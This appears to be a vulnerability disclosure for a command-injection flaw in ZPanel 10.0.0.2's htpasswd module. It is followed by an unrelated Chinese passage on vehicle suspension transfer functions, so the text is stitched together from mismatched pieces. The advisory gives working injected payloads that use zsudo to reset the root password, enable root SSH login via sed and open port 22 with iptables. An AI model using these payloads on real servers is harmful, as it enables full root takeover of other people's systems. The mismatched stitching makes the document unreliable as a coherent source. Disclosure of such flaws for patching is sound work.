ZPanel 10.0.0.2 Remote Command Execution

我们发现 ZPanel 10.0.0.2 版本中存在一个严重的安全漏洞,允许任何人通过页面访问(管理员、分销商和客户默认权限)执行任意命令,只需简单几步即可利用此漏洞。
One of our expert team members (shachibista@gmail.com) who is assigned
to do the security audit of ZPanel code has found the follwoing
security vulnerability with ZPanel 10.0.0.2 which will allow anyone to
escalate the root accress and access the server by anyone. The
security audit states the following:

<QUOTE>
I have been reviewing ZPanel code and there is a serious remote
execution vulnerability in the "Protect Directory" module that allows
anyone with access to the page (Administrators, Resellers and Clients
by default) to execute arbitrary commands on the shell due to improper
(non-existent) escaping of user input. The following steps can be
taken to reproduce the exploit:

1. Login as any user and visit
http://<server_address>/?module=htpasswd&selected=Selected&path=/

1a. In the "Username" field input (including the initial semicolon and
the final hash):

;/etc/zpanel/panel/bin/zsudo "echo 'newpassword'" "| passwd --stdin root" #

2. Type any password

3. Root password will be set to "newpassword"

4. Visit http://<server_address>/?module=htpasswd&selected=Selected&path=/

5. In the "Username" field (including initial semicolon and final hash):

;/etc/zpanel/panel/bin/zsudo sed '-i "s/#*\(PermitRootLogin\)/\1 yes
\#/" /etc/ssh/*hd*g' #

6. This will enable root login,

7. One can repeat the same process to open port 22 through iptables
(iptables -A INPUT -p tcp --dport 22 -j ACCEPT) and restart the ssh
server (this will require the process twice as the internal buffer
size of zsudo command is 100 characters)
<UNQUOTE>
在车辆工程中,悬架系统的性能评估和优化一直是研究的热点。悬架不仅关乎车辆的乘坐舒适性,还直接影响到车辆的操控性和稳定性。为了深入理解悬架的动态行为,研究人员经常使用“二自由度悬架模型”来简化分析,并运用“传递函数”这一数学工具来描述悬架系统的动态特性。 二自由度悬架模型将复杂的车辆系统简化为两个独立的部分:车轮和车身。这种简化模型能够较准确地模拟出车辆在垂直方向上的运动行为,同时忽略了侧向和纵向的动态影响,这使得工程师能够更加专注于分析与优化与垂直动态相关的性能指标。 传递函数作为控制系统理论中的一种工具,能够描述系统输入和输出之间的关系。在悬架系统中,传递函数特别重要,因为它能够反映出路面不平度如何被悬架系统转化为车内乘员感受到的振动。通过传递函数,我们可以得到一个频率域上的表达式,从中分析出悬架系统的关键动态特性,如系统的振幅衰减特性和共振频率等。 在实际应用中,工程师通过使用MATLAB这类数学软件,建立双质量悬架的数学模型。模型中的参数包括车轮质量、车身质量、弹簧刚度以及阻尼系数等。通过编程求解,工程师可以得到悬架系统的传递函数,并据此绘制出传递函数曲线。这为评估悬架性能提供了一个直观的工具,使工程师能够了解悬架在不同频率激励下的响应情况。
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